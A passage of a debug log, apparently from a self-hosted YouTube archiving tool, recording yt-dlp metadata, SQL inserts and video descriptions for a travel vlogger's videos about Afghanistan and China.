reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2619, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", "id" => "TePUvifOHbk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TePUvifOHbk", "playlist_index" => 18, "timestamp" => 1763741498, "title" => "Crossing Afghanistan's Deadly Coal Mine Route", "upload_date" => "20251121"} 20:01:00.526 [debug] QUERY OK source="sources" db=0.2ms idle=744.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:01:00.527 [debug] QUERY OK source="sources" db=0.1ms idle=744.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:00.527 [debug] QUERY OK source="media_items" db=0.2ms idle=745.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 20:01:00.529 [debug] QUERY OK source="media_items" db=0.9ms idle=309.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "3822f6b5-9329-41ba-869e-f02a84928e8c", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 03:01:00Z], ~U[2026-08-20 03:01:00Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 20:01:00.529 [debug] QUERY OK source="sources" db=0.1ms idle=78.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:00.529 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:01:00.530 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18993] 20:01:00.530 [debug] Current batch of media processed. Will check again in 1000ms 20:01:01.531 [debug] Current batch of media processed. Will check again in 1000ms 20:01:02.532 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2078, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", "id" => "_uOW3KGPqtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_uOW3KGPqtA", "playlist_index" => 19, "timestamp" => 1762533339, "title" => "Afghanistan Broke Me..", "upload_date" => "20251107"} 20:01:02.532 [debug] QUERY OK source="sources" db=0.2ms idle=750.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:01:02.533 [debug] QUERY OK source="sources" db=0.1ms idle=750.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:02.533 [debug] QUERY OK source="media_items" db=0.3ms idle=751.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 20:01:02.534 [debug] QUERY OK source="media_items" db=0.7ms idle=751.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "0ffc3b20-f47c-4c82-9c68-99fd9bfeb3c5", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 03:01:02Z], ~U[2026-08-20 03:01:02Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 20:01:02.535 [debug] QUERY OK source="sources" db=0.2ms idle=81.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:02.535 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:01:02.536 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18994] 20:01:02.536 [debug] Current batch of media processed. Will check again in 1000ms 20:01:03.243 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/26/9f/269f2506bc08be1e9dd5573c5ea6f7f169fcf53e3033ef73023a7f15d73fbdfa.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cf/d7/cfd797983cfb2cc7ff2e83c504a79b8c09add48de5b1be7376da616dd8b74ed5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 20:01:03.244 [debug] Gracefully stopping file follower 20:01:03.244 [debug] QUERY OK source="sources" db=0.2ms idle=710.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:01:03.244 [debug] QUERY OK source="sources" db=0.1ms idle=709.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.245 [debug] QUERY OK source="media_items" db=0.2ms idle=709.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 20:01:03.246 [debug] QUERY OK source="media_items" db=0.9ms idle=709.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "d497e677-7d2b-4719-b9ed-f3a9af22f506", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 20:01:03.246 [debug] QUERY OK source="sources" db=0.1ms idle=710.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.247 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 20:01:03.256 [debug] QUERY OK source="media_items" db=8.9ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "51b266ab-9de3-43cf-9282-254776d2e43b", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 20:01:03.256 [debug] QUERY OK source="sources" db=0.2ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.257 [debug] QUERY OK source="media_items" db=0.2ms idle=10.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 20:01:03.259 [debug] QUERY OK source="media_items" db=1.7ms idle=10.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "e619fd84-22f7-4e9f-9cb4-d5456cf89b88", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 03:01:03Z], 